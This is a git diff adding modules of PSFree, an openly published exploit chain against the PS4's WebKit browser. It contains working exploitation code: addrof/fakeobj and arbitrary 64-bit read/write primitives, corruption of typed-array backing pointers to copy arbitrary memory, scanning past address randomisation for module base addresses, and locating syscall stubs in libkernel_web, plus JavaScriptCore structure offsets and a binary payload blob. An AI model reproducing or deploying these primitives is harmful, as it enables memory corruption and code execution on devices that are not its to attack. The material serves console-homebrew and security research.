+        return [mem.addrof(backer).readp(view_m_vector), backer];
+    }
+
+    fakeobj(addr) {
+        const values = lohi_from_one(addr);
+        const worker = this._worker;
+        const main = this._main;
+
+        main[off_vector] = this._fake_low;
+        main[off_vector2] = this._fake_high;
+        worker.setUint32(0, values[0], true);
+        worker.setUint32(4, values[1], true);
+        return this._obj[0];
+    }
+
+    addrof(object) {
+        // typeof considers null as a object. blacklist it as it isn't a
+        // JSObject
+        if (object === null
+            || (typeof object !== 'object' && typeof object !== 'function')
+        ) {
+            throw TypeError('argument not a JS object');
+        }
+
+        const obj = this._obj;
+        const worker = this._worker;
+        const main = this._main;
+
+        obj.addr = object;
+
+        main[off_vector] = this._addr_low;
+        main[off_vector2] = this._addr_high;
+
+        const res = new Addr(
+            worker.getUint32(0, true),
+            worker.getUint32(4, true),
+        );
+        obj.addr = null;
+
+        return res;
+    }
+
+    // expects addr to be a Int
+    _set_addr_direct(addr) {
+        const main = this._main;
+        main[off_vector] = addr.lo;
+        main[off_vector2] = addr.hi;
+    }
+
+    set_addr(addr) {
+        const values = lohi_from_one(addr);
+        const main = this._main;
+        main[off_vector] = values[0];
+        main[off_vector2] = values[1];
+    }
+
+    get_addr() {
+        const main = this._main;
+        return new Addr(main[off_vector], main[off_vector2]);
+    }
+
+    read8(addr) {
+        this.set_addr(addr);
+        return this._worker.getUint8(0);
+    }
+
+    read16(addr) {
+        this.set_addr(addr);
+        return this._worker.getUint16(0, true);
+    }
+
+    read32(addr) {
+        this.set_addr(addr);
+        return this._worker.getUint32(0, true);
+    }
+
+    read64(addr) {
+        this.set_addr(addr);
+        const worker = this._worker;
+        return new Int(worker.getUint32(0, true), worker.getUint32(4, true));
+    }
+
+    // returns a pointer instead of an Int
+    readp(addr) {
+        this.set_addr(addr);
+        const worker = this._worker;
+        return new Addr(worker.getUint32(0, true), worker.getUint32(4, true));
+    }
+
+    read8_at(offset) {
+        if (!isInteger(offset)) {
+            throw TypeError('offset not a integer');
+        }
+        return this._worker.getUint8(offset);
+    }
+
+    read16_at(offset) {
+        if (!isInteger(offset)) {
+            throw TypeError('offset not a integer');
+        }
+        return this._worker.getUint16(offset, true);
+    }
+
+    read32_at(offset) {
+        if (!isInteger(offset)) {
+            throw TypeError('offset not a integer');
+        }
+        return this._worker.getUint32(offset, true);
+    }
+
+    read64_at(offset) {
+        if (!isInteger(offset)) {
+            throw TypeError('offset not a integer');
+        }
+        const worker = this._worker;
+        return new Int(
+            worker.getUint32(offset, true),
+            worker.getUint32(offset + 4, true),
+        );
+    }
+
+    readp_at(offset) {
+        if (!isInteger(offset)) {
+            throw TypeError('offset not a integer');
+        }
+        const worker = this._worker;
+        return new Addr(
+            worker.getUint32(offset, true),
+            worker.getUint32(offset + 4, true),
+        );
+    }
+
+    write8(addr, value) {
+        this.set_addr(addr);
+        this._worker.setUint8(0, value);
+    }
+
+    write16(addr, value) {
+        this.set_addr(addr);
+        this._worker.setUint16(0, value, true);
+    }
+
+    write32(addr, value) {
+        this.set_addr(addr);
+        this._worker.setUint32(0, value, true);
+    }
+
+    write64(addr, value) {
+        const values = lohi_from_one(value);
+        this.set_addr(addr);
+        const worker = this._worker;
+        worker.setUint32(0, values[0], true);
+        worker.setUint32(4, values[1], true);
+    }
+
+    write8_at(offset, value) {
+        if (!isInteger(offset)) {
+            throw TypeError('offset not a integer');
+        }
+        this._worker.setUint8(offset, value);
+    }
+
+    write16_at(offset, value) {
+        if (!isInteger(offset)) {
+            throw TypeError('offset not a integer');
+        }
+        this._worker.setUint16(offset, value, true);
+    }
+
+    write32_at(offset, value) {
+        if (!isInteger(offset)) {
+            throw TypeError('offset not a integer');
+        }
+        this._worker.setUint32(offset, value, true);
+    }
+
+    write64_at(offset, value) {
+        if (!isInteger(offset)) {
+            throw TypeError('offset not a integer');
+        }
+        const values = lohi_from_one(value);
+        const worker = this._worker;
+        worker.setUint32(offset, values[0], true);
+        worker.setUint32(offset + 4, values[1], true);
+    }
+}
diff --git a/psfree/module/memtools.mjs b/psfree/module/memtools.mjs
new file mode 100644
index 0000000..ed8ec2e
--- /dev/null
+++ b/psfree/module/memtools.mjs
@@ -0,0 +1,255 @@
+/* Copyright (C) 2023-2025 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see .  */
+
+// This module are for utilities that depend on running the exploit first
+
+import { Int } from './int64.mjs';
+import { mem } from './mem.mjs';
+import { align } from './utils.mjs';
+import { page_size } from './offset.mjs';
+import { BufferView } from './rw.mjs';
+import { View1 } from './view.mjs';
+import * as off from './offset.mjs';
+
+// creates an ArrayBuffer whose contents is copied from addr
+export function make_buffer(addr, size) {
+    // see enum TypedArrayMode from
+    // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
+    // at webkitgtk 2.34.4
+    //
+    // see possiblySharedBuffer() from
+    // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
+    // at webkitgtk 2.34.4
+
+    // We will create an OversizeTypedArray via requesting an Uint8Array whose
+    // number of elements will be greater than fastSizeLimit (1000).
+    //
+    // We will not use a FastTypedArray since its m_vector is visited by the
+    // GC and we will temporarily change it. The GC expects addresses from the
+    // JS heap, and that heap has metadata that the GC uses. The GC will likely
+    // crash since valid metadata won't likely be found at arbitrary addresses.
+    //
+    // The FastTypedArray approach will have a small time frame where the GC
+    // can inspect the invalid m_vector field.
+    //
+    // Views created via "new TypedArray(x)" where "x" is a number will always
+    // have an m_mode < WastefulTypedArray.
+    const u = new Uint8Array(1001);
+    const u_addr = mem.addrof(u);
+
+    // we won't change the butterfly and m_mode so we won't save those
+    const old_addr = u_addr.read64(off.view_m_vector);
+    const old_size = u_addr.read32(off.view_m_length);
+
+    u_addr.write64(off.view_m_vector, addr);
+    u_addr.write32(off.view_m_length, size);
+
+    const copy = new Uint8Array(u.length);
+    copy.set(u);
+
+    // Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
+    // associated with them, if we ask for view.buffer, the view will be
+    // converted into a WastefulTypedArray and an ArrayBuffer will be created.
+    // This is done by calling slowDownAndWasteMemory().
+    //
+    // We can't use slowDownAndWasteMemory() on u since that will create a
+    // JSC::ArrayBufferContents with its m_data pointing to addr. On the
+    // ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can
+    // cause a crash if the m_data is not from the fastMalloc heap, and even if
+    // it is, freeing abitrary addresses is dangerous as it may lead to a
+    // use-after-free.
+    const res = copy.buffer;
+
+    // restore
+    u_addr.write64(off.view_m_vector, old_addr);
+    u_addr.write32(off.view_m_length, old_size);
+
+    return res;
+}
+
+// these values came from analyzing dumps from CelesteBlue
+function check_magic_at(p, is_text) {
+    // byte sequence that is very likely to appear at offset 0 of a .text
+    // segment
+    const text_magic = [
+        new Int(0xe5894855, 0x56415741),
+        new Int(0x54415541, 0x8d485053),
+    ];
+
+    // the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment
+
+    // .data magic from 3.00, 6.00, and 6.20
+    //const data_magic = [
+    //    new Int(0x18),
+    //    new Int(0x3c13f4bf, 0x1),
+    //];
+
+    // .data magic from 8.00 and 8.03
+    const data_magic = [
+        new Int(0x20),
+        new Int(0x3c13f4bf, 0x2),
+    ];
+
+    const magic = is_text ? text_magic : data_magic;
+    const value = [p.read64(0), p.read64(8)];
+
+    return value[0].eq(magic[0]) && value[1].eq(magic[1]);
+}
+
+// Finds the base address of a segment: .text or .data
+// Used on the ps4 to locate module base addresses
+// * p:
+//     an address pointing somewhere in the segment to search
+// * is_text:
+//     whether the segment is .text or .data
+// * is_back:
+//     whether to search backwards (to lower addresses) or forwards
+//
+// Modules are likely to be separated by a couple of unmapped pages because of
+// Address Space Layout Randomization (all module base addresses are
+// randomized). This means that this function will either succeed or crash on
+// a page fault, if the magic is not present.
+//
+// To be precise, modules are likely to be "surrounded" by unmapped pages, it
+// does not mean that the distance between a boundary of a module and the
+// nearest unmapped page is 0.
+//
+// The boundaries of a module is its base and end addresses.
+//
+// let module_base_addr = find_base(...);
+// // Not guaranteed to crash, the nearest unmapped page is not necessarily at
+// // 0 distance away from module_base_addr.
+// addr.read8(-1);
+//
+export function find_base(addr, is_text, is_back) {
+    // align to page size
+    addr = align(addr, page_size);
+    const offset = (is_back ? -1 : 1) * page_size;
+    while (true) {
+        if (check_magic_at(addr, is_text)) {
+            break;
+        }
+        addr = addr.add(offset);
+    }
+    return addr;
+}
+
+// gets the address of the underlying buffer of a JSC::JSArrayBufferView
+export function get_view_vector(view) {
+    if (!ArrayBuffer.isView(view)) {
+        throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
+    }
+    return mem.addrof(view).readp(off.view_m_vector);
+}
+
+export function resolve_import(import_addr) {
+    if (import_addr.read16(0) !== 0x25ff) {
+        throw Error(
+            `instruction at ${import_addr} is not of the form: jmp qword`
+            + ' [rip + X]');
+    }
+    // module_function_import:
+    //     jmp qword [rip + X]
+    //     ff 25 xx xx xx xx // signed 32-bit displacement
+    const disp = import_addr.read32(2);
+    // assume disp and offset are 32-bit integers
+    // x | 0 will always be a signed integer
+    const offset = (disp | 0) + 6;
+    // The rIP value used by "jmp [rip + X]" instructions is actually the rIP
+    // of the next instruction. This means that the actual address used is
+    // [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
+    // jump instruction, which is 6 in this case.
+    const function_addr = import_addr.readp(offset);
+
+    return function_addr;
+}
+
+export function init_syscall_array(
+    syscall_array,
+    libkernel_web_base,
+    max_search_size,
+) {
+    if (!Number.isInteger(max_search_size)) {
+        throw TypeError(
+            `max_search_size is not a integer: ${max_search_size}`);
+    }
+    if (max_search_size < 0) {
+        throw Error(`max_search_size is less than 0: ${max_search_size}`);
+    }
+
+    const libkernel_web_buffer = make_buffer(
+        libkernel_web_base,
+        max_search_size,
+    );
+    const kbuf = new BufferView(libkernel_web_buffer);
+
+    // Search 'rdlo' string from libkernel_web's .rodata section to gain an
+    // upper bound on the size of the .text section.
+    let text_size = 0;
+    let found = false;
+    for (let i = 0; i < max_search_size; i++) {
+        if (kbuf[i] === 0x72
+            && kbuf[i + 1] === 0x64
+            && kbuf[i + 2] === 0x6c
+            && kbuf[i + 3] === 0x6f
+        ) {
+            text_size = i;
+            found = true;
+            break;
+        }
+    }
+    if (!found) {
+        throw Error(
+            '"rdlo" string not found in libkernel_web, base address:'
+            + ` ${libkernel_web_base}`);
+    }
+
+    // search for the instruction sequence:
+    // syscall_X:
+    //     mov rax, X
+    //     mov r10, rcx
+    //     syscall
+    for (let i = 0; i < text_size; i++) {
+        if (kbuf[i] === 0x48
+            && kbuf[i + 1] === 0xc7
+            && kbuf[i + 2] === 0xc0
+            && kbuf[i + 7] === 0x49
+            && kbuf[i + 8] === 0x89
+            && kbuf[i + 9] === 0xca
+            && kbuf[i + 10] === 0x0f
+            && kbuf[i + 11] === 0x05
+        ) {
+            const syscall_num = kbuf.read32(i + 3);
+            syscall_array[syscall_num] = libkernel_web_base.add(i);
+            // skip the sequence
+            i += 11;
+        }
+    }
+}
+
+// create a char array like in the C language
+//
+// string to view since it's easier to get the address of the buffer this way
+export function cstr(str) {
+    str += '\0';
+    return View1.from(str, c => c.codePointAt(0));
+}
+
+// we are re-exporting this since users that want to use cstr() usually want
+// jstr() as well. they are likely working with functions that take/return
+// strings
+export { jstr } from './utils.mjs';
diff --git a/psfree/module/offset.mjs b/psfree/module/offset.mjs
new file mode 100644
index 0000000..74c9dc0
--- /dev/null
+++ b/psfree/module/offset.mjs
@@ -0,0 +1,62 @@
+/* Copyright (C) 2023-2025 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see .  */
+
+// WebKit offsets start
+
+// offsets for JSC::JSObject
+export const js_cell = 0;
+export const js_butterfly = 0x8;
+// start of the array of inline properties (JSValues)
+export const js_inline_prop = 0x10;
+
+// sizeof JSC::JSObject
+export const size_jsobj = js_inline_prop;
+
+// offsets for JSC::JSArrayBufferView
+export const view_m_vector = 0x10;
+export const view_m_length = 0x18;
+export const view_m_mode = 0x1c;
+
+// sizeof JSC::JSArrayBufferView
+export const size_view = 0x20;
+
+// offsets for WTF::StringImpl
+export const strimpl_strlen = 4;
+export const strimpl_m_data = 8;
+export const strimpl_inline_str = 0x14;
+
+// sizeof WTF::StringImpl
+export const size_strimpl = 0x18;
+
+// offsets for WebCore::JSHTMLTextAreaElement, subclass of JSObject
+
+// offset to m_wrapped, pointer to a DOM object
+// for this class, it's a WebCore::HTMLTextAreaElement pointer
+export const jsta_impl = 0x18;
+
+// sizeof WebCore::JSHTMLTextAreaElement
+export const size_jsta = 0x20;
+
+// WebKit offsets end
+
+export const KB = 1024;
+export const MB = KB * KB;
+export const GB = KB * KB * KB;
+export const page_size = 16 * KB; // page size on the ps4
+
+// size of the buffer used by setcontext/getcontext (see module/chain.mjs)
+export const context_size = 0xc8;
diff --git a/psfree/module/rw.mjs b/psfree/module/rw.mjs
new file mode 100644
index 0000000..2075817
--- /dev/null
+++ b/psfree/module/rw.mjs
@@ -0,0 +1,140 @@
+/* Copyright (C) 2023-2025 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see .  */
+
+import { Int, lohi_from_one } from './int64.mjs';
+
+// DataView's accessors are constant time and are faster when doing multi-byte
+// accesses but the single-byte accessors are slightly slower compared to just
+// indexing the Uint8Array
+//
+// to get the best of both worlds, BufferView uses a DataView for multi-byte
+// accesses and a Uint8Array for single-byte
+//
+// instances of BufferView will their have m_mode set to WastefulTypedArray
+// since we use the .buffer getter to create a DataView
+export class BufferView extends Uint8Array {
+    constructor(...args) {
+        super(...args);
+        this._dview = new DataView(this.buffer, this.byteOffset);
+    }
+
+    read16(offset) {
+        return this._dview.getUint16(offset, true);
+    }
+
+    read32(offset) {
+        return this._dview.getUint32(offset, true);
+    }
+
+    read64(offset) {
+        return new Int(
+            this._dview.getUint32(offset, true),
+            this._dview.getUint32(offset + 4, true),
+        );
+    }
+
+    write16(offset, value) {
+        this._dview.setUint16(offset, value, true);
+    }
+
+    write32(offset, value) {
+        this._dview.setUint32(offset, value, true);
+    }
+
+    write64(offset, value) {
+        const values = lohi_from_one(value);
+        this._dview.setUint32(offset, values[0], true);
+        this._dview.setUint32(offset + 4, values[1], true);
+    }
+}
+
+// WARNING: These functions are now deprecated. use BufferView instead.
+
+// view.buffer is the underlying ArrayBuffer of a TypedArray, but since we will
+// be corrupting the m_vector of our target views later, the ArrayBuffer's
+// buffer will not correspond to our fake m_vector anyway.
+//
+// can't use:
+//
+// function read32(u8_view, offset) {
+//     let res = new Uint32Array(u8_view.buffer, offset, 1);
+//     return res[0];
+// }
+//
+// to implement read32, we need to index the view instead:
+//
+// function read32(u8_view, offset) {
+//     let res = 0;
+//     for (let i = 0; i < 4; i++) {
+//         res += u8_view[offset + i] << i*8;
+//     }
+//     // << returns a signed integer, >>> converts it to unsigned
+//     return res >>> 0;
+// }
+
+// for reads less than 8 bytes
+function read(u8_view, offset, size) {
+    let res = 0;
+    for (let i = 0; i < size; i++) {
+        res += u8_view[offset + i] << i*8;
+    }
+    // << returns a signed integer, >>> converts it to unsigned
+    return res >>> 0;
+}
+
+export function read16(u8_view, offset) {
+    return read(u8_view, offset, 2);
+}
+
+export function read32(u8_view, offset) {
+    return read(u8_view, offset, 4);
+}
+
+export function read64(u8_view, offset) {
+    return new Int(read32(u8_view, offset), read32(u8_view, offset + 4));
+}
+
+// for writes less than 8 bytes
+function write(u8_view, offset, value, size) {
+    for (let i = 0; i < size; i++) {
+        u8_view[offset + i]  = (value >>> i*8) & 0xff;
+    }
+}
+
+export function write16(u8_view, offset, value) {
+    write(u8_view, offset, value, 2);
+}
+
+export function write32(u8_view, offset, value) {
+    write(u8_view, offset, value, 4);
+}
+
+export function write64(u8_view, offset, value) {
+    if (!(value instanceof Int)) {
+        throw TypeError('write64 value must be an Int');
+    }
+
+    let low = value.lo;
+    let high = value.hi;
+
+    for (let i = 0; i < 4; i++) {
+        u8_view[offset + i]  = (low >>> i*8) & 0xff;
+    }
+    for (let i = 0; i < 4; i++) {
+        u8_view[offset + 4 + i]  = (high >>> i*8) & 0xff;
+    }
+}
diff --git a/psfree/module/utils.mjs b/psfree/module/utils.mjs
new file mode 100644
index 0000000..7c20ef1
--- /dev/null
+++ b/psfree/module/utils.mjs
@@ -0,0 +1,172 @@
+/* Copyright (C) 2023-2025 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see .  */
+
+import { Int } from './int64.mjs';
+
+export class DieError extends Error {
+    constructor(...args) {
+        super(...args);
+        this.name = this.constructor.name;
+    }
+}
+
+export function die(msg='') {
+    throw new DieError(msg);
+}
+
+const console = document.getElementById('console');
+export function log(msg='') {
+    console.append(msg + '\n');
+}
+
+export function clear_log() {
+    console.innerHTML = null;
+}
+
+// alignment must be 32 bits and is a power of 2
+export function align(a, alignment) {
+    if (!(a instanceof Int)) {
+        a = new Int(a);
+    }
+    const mask = -alignment & 0xffffffff;
+    let type = a.constructor;
+    let low = a.lo & mask;
+    return new type(low, a.hi);
+}
+
+export async function send(url, buffer, file_name, onload=() => {}) {
+    const file = new File(
+        [buffer],
+        file_name,
+        {type:'application/octet-stream'}
+    );
+    const form = new FormData();
+    form.append('upload', file);
+
+    log('send');
+    const response = await fetch(url, {method: 'POST', body: form});
+
+    if (!response.ok) {
+        throw Error(`Network response was not OK, status: ${response.status}`);
+    }
+    onload();
+}
+
+// mostly used to yield to the GC. marking is concurrent but collection isn't
+//
+// yielding also lets the DOM update. which is useful since we use the DOM for
+// logging and we loop when waiting for a collection to occur
+export function sleep(ms=0) {
+    return new Promise(resolve => setTimeout(resolve, ms));
+}
+
+export function hex(number) {
+    return '0x' + number.toString(16);
+}
+
+// no "0x" prefix
+export function hex_np(number) {
+    return number.toString(16);
+}
+
+// expects a byte array
+export function hexdump(view) {
+    const num_16 = view.length & ~15;
+    const residue = view.length - num_16;
+    const max_off_len = hex_np(((view.length + 7) & ~7) - 1).length;
+
+    function chr(i) {
+        if (0x20 <= i && i <= 0x7e) {
+            return String.fromCodePoint(i);
+        }
+        return '.';
+    }
+
+    function to_hex(view, offset, length) {
+        return (
+            [...view.slice(offset, offset + length)]
+            .map(e => hex_np(e).padStart(2, '0'))
+            .join(' ')
+        );
+    }
+
+    let bytes = [];
+    for (let i = 0; i < num_16; i += 16) {
+        const long1 = to_hex(view, i, 8);
+        const long2 = to_hex(view, i + 8, 8);
+
+        let print = '';
+        for (let j = 0; j < 16; j++) {
+            print += chr(view[j]);
+        }
+
+        bytes.push([`${long1}  ${long2}`, print]);
+    }
+
+    if (residue) {
+        const small = residue <= 8;
+        const long1_len = small ? residue : 8;
+
+        let long1 = to_hex(view, num_16, long1_len);
+        if (small) {
+            for (let i = 0; i < 8 - residue; i++) {
+                long1 += ' xx';
+            }
+        }
+
+        const long2 = (() => {
+            if (small) {
+                return Array(8).fill('xx').join(' ');
+            }
+
+            let res = to_hex(view, num_16 + 8, residue - 8);
+            for (let i = 0; i < 16 - residue; i++) {
+                res += ' xx';
+            }
+
+            return res;
+        })();
+
+        let print = '';
+        for (let i = 0; i < residue; i++) {
+            print += chr(view[num_16 + i]);
+        }
+        for (let i = 0; i < 16 - residue; i++) {
+            print += ' ';
+        }
+
+        bytes.push([`${long1}  ${long2}`, print]);
+    }
+
+    for (const [pos, [val, print]] of bytes.entries()) {
+        const off = hex_np(pos * 16).padStart(max_off_len, '0');
+        log(`${off} | ${val} |${print}|`);
+    }
+}
+
+// make a JavaScript string
+export function jstr(buffer) {
+    let res = '';
+    for (const item of buffer) {
+        if (item === 0) {
+            break;
+        }
+        res += String.fromCodePoint(item);
+    }
+    // convert to primitive string
+    return String(res);
+}
diff --git a/psfree/module/view.mjs b/psfree/module/view.mjs
new file mode 100644
index 0000000..35b99c4
--- /dev/null
+++ b/psfree/module/view.mjs
@@ -0,0 +1,261 @@
+/* Copyright (C) 2025 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see .  */
+
+import { Int, lohi_from_one } from './int64.mjs';
+import { Addr } from './mem.mjs';
+import { BufferView } from './rw.mjs';
+
+import * as config from '../config.mjs';
+import * as mt from './memtools.mjs';
+
+// View constructors will always get the buffer property in order to make sure
+// that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
+// m_mode < WastefulTypedArray. This is to make caching the m_view field
+// possible. Users don't have to worry if the m_view they got from addr() is
+// possibly stale.
+//
+// see possiblySharedBuffer() from
+// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
+// at PS4 8.03
+//
+// Subclasses of TypedArray are still implemented as a JSArrayBufferView, so
+// get_view_vector() still works on them.
+
+function ViewMixin(superclass) {
+    const res = class extends superclass {
+        constructor(...args) {
+            super(...args);
+            this.buffer;
+        }
+
+        get addr() {
+            let res = this._addr_cache;
+            if (res !== undefined) {
+                return res;
+            }
+            res = mt.get_view_vector(this);
+            this._addr_cache = res;
+            return res;
+        }
+
+        get size() {
+            return this.byteLength;
+        }
+
+        addr_at(index) {
+            const size = this.BYTES_PER_ELEMENT;
+            return this.addr.add(index * size);
+        }
+
+        sget(index) {
+            return this[index] | 0;
+        }
+    };
+
+    // workaround for known affected versions: ps4 [6.00, 10.00)
+    //
+    // see from() and of() from
+    // WebKit/Source/JavaScriptCore/builtins/TypedArrayConstructor.js at PS4
+    // 8.0x
+    //
+    // @getByIdDirectPrivate(this, "allocateTypedArray") will fail when "this"
+    // isn't one of the built-in TypedArrays. this is a violation of the
+    // ECMAScript spec at that time
+    //
+    // TODO assumes ps4, support ps5 as well
+    // FIXME define the from/of workaround functions once
+    if (0x600 <= config.target && config.target < 0x1000) {
+        res.from = function from(...args) {
+            const base = this.__proto__;
+            return new this(base.from(...args).buffer);
+        };
+
+        res.of = function of(...args) {
+            const base = this.__proto__;
+            return new this(base.of(...args).buffer);
+        };
+    }
+
+    return res;
+}
+
+export class View1 extends ViewMixin(Uint8Array) {}
+export class View2 extends ViewMixin(Uint16Array) {}
+export class View4 extends ViewMixin(Uint32Array) {}
+
+export class Buffer extends BufferView {
+    get addr() {
+        let res = this._addr_cache;
+        if (res !== undefined) {
+            return res;
+        }
+        res = mt.get_view_vector(this);
+        this._addr_cache = res;
+        return res;
+    }
+
+    get size() {
+        return this.byteLength;
+    }
+
+    addr_at(index) {
+        return this.addr.add(index);
+    }
+}
+// see from() and of() comment above
+if (0x600 <= config.target && config.target < 0x1000) {
+    Buffer.from = function from(...args) {
+        const base = this.__proto__;
+        return new this(base.from(...args).buffer);
+    };
+    Buffer.of = function of(...args) {
+        const base = this.__proto__;
+        return new this(base.of(...args).buffer);
+    };
+}
+
+const VariableMixin = superclass => class extends superclass {
+    constructor(value=0) {
+        // unlike the View classes, we don't allow number coercion. we
+        // explicitly allow floats unlike Int
+        if (typeof value !== 'number') {
+            throw TypeError('value not a number');
+        }
+        super([value]);
+    }
+
+    addr_at(...args) {
+        throw TypeError('unimplemented method');
+    }
+
+    [Symbol.toPrimitive](hint) {
+        return this[0];
+    }
+
+    toString(...args) {
+        return this[0].toString(...args);
+    }
+};
+
+export class Byte extends VariableMixin(View1) {}
+export class Short extends VariableMixin(View2) {}
+// Int was already taken by int64.mjs
+export class Word extends VariableMixin(View4) {}
+
+export class LongArray {
+    constructor(length) {
+        this.buffer = new DataView(new ArrayBuffer(length * 8));
+    }
+
+    get addr() {
+        return mt.get_view_vector(this.buffer);
+    }
+
+    addr_at(index) {
+        return this.addr.add(index * 8);
+    }
+
+    get length() {
+        return this.buffer.length / 8;
+    }
+
+    get size() {
+        return this.buffer.byteLength;
+    }
+
+    get byteLength() {
+        return this.size;
+    }
+
+    get(index) {
+        const buffer = this.buffer;
+        const base = index * 8;
+        return new Int(
+            buffer.getUint32(base, true),
+            buffer.getUint32(base + 4, true),
+        );
+    }
+
+    set(index, value) {
+        const buffer = this.buffer;
+        const base = index * 8;
+        const values = lohi_from_one(value);
+
+        buffer.setUint32(base, values[0], true);
+        buffer.setUint32(base + 4, values[1], true);
+    }
+}
+
+// mutable Int (we are explicitly using Int's private fields)
+const Word64Mixin = superclass => class extends superclass {
+    constructor(...args) {
+        if (!args.length) {
+            return super(0);
+        }
+        super(...args);
+    }
+
+    get addr() {
+        // assume this is safe to cache
+        return mt.get_view_vector(this._u32);
+    }
+
+    get length() {
+        return 1;
+    }
+
+    get size() {
+        return 8;
+    }
+
+    get byteLength() {
+        return 8;
+    }
+
+    // no setters for top and bot since low/high can accept negative integers
+
+    get lo() {
+        return super.lo;
+    }
+
+    set lo(value) {
+        this._u32[0] = value;
+    }
+
+    get hi() {
+        return super.hi;
+    }
+
+    set hi(value) {
+        this._u32[1] = value;
+    }
+
+    set(value) {
+        const buffer = this._u32;
+        const values = lohi_from_one(value);
+
+        buffer[0] = values[0];
+        buffer[1] = values[1];
+    }
+};
+
+export class Long extends Word64Mixin(Int) {
+    as_addr() {
+        return new Addr(this);
+    }
+}
+export class Pointer extends Word64Mixin(Addr) {}
diff --git a/psfree/payload.bin b/psfree/payload.bin
new file mode 100644
index 0000000000000000000000000000000000000000..d5541fa0401912d85d7c0cc92f5babea04c602d4
GIT binary patch
literal 262976
zcmeFYc|4Te|37|>eV@s`RYXy!k$sEN$R%URR@r4qJ3tsnusVMEXY}tviZ>2%0
zBw4~pn50lL-*e5l-QA!2^Lu>0pTE9;{NDHDG2?nY&pEH_EYI_No!6P}$)0r(^bNh?
zr)?Dr1VPp?@jFcX1t+ShEHgv*nw1-rMy@u6IzFmouEJgl_{qYYbWEmH$c-6YxRN0&=+v@w7)1!G=ir1aTO@gqbV*p
zo@FxzJfXSm@kEk?QzJ4KoGs4A)_NZtZ!84{V?vxqx*TGpJPo53{r%A8yEXAz6m(K6
zXtz2bbkrlnK)pprWgy|%^XN~x$Tv~*l~_H
z#`wXaSm>G%smecaT3^FOz&y}j$_j=bzysPKD~;w>CN)}vis1G1HA2-#2D5MmXv6V1
zDdip`38kApc+kylA%v;SQg$+vBlG2;2N_!Me(d(Xv~0G$rYd-td)#-L8p??Wu!(E;#Zj17tc?Bd+!jf
z&4joJ$LmXzdw&vzm|{S<+NDjPxLuKJi1H->@!+xWCI7TcLdKV
zJoV9psM(0KwXQ~X5}0V>TRgG8cL-S!TAK_LoMsg77!BcmG-CXTWrFp))q-kwo|Vgy>?iEokVtEXTbHq+36
z08Wj#{W!Z-9-RO37Oayp$%OdZgg6H$hRR}yU6sh*#t~nA%S8Z7y7?`a09G2KOrk?L
zEmAli4qYb51k*?~{8h}SEDNZr)pBke
zc5jKtM`03mEtN@#A1UC6hY5DKNwCBx+M~RPQ8vlo{h&#LC1^7Bp6-wMmDmXC$XfP}
zYW)h|fF}<34iOuGhgN(vgv=%4z2O{nvJV)Q2te$FY4x~xe9|&l@i`dPgR7&%?+A%e
zg2)?iy%WmQIIRJ60wP1W#4|J;x(;I!NdldDQ9pv=?AMyX5p5EofXzs)q)^b@#QhBc
z@VI`2$p}R=NemT&XpJ=o
zjMI8f>zzN&#JvqiY{U`4&g=l=
z27ZmSeuZ%v#S11GCra8+jS;(Xkt68(VT_skJ3MDMj@T2~j=`gT?j{m4AR}TY9$m)=
zm!silVVd+Lp0l3#0(S4DFC17iPB^lKX%Y)Y9gk1IOi|$T
zO$b>TLV$C|x%`vJ5MV7F$s-HFfYf{lsS#DE>|g_MVvTGT&;Z!IA8;D=jgXi}w-HLi
z$OeN6#LqBskU(6ZtXoEQnW8MvGg;6{$VeGPQaq621lc^qh1OeiBnR+`i(Fzk^A$*A
z>^w6dYa8s&5(A^CyJ$mn_WkXU^ovHTM8t3n0-HpZk`3UKB8*IJ%Rm=*VIAwPut+#1pbN|AyQF1Umi~3I;%MAEKBcDAMWHD0-)nalnZ_D=^T4
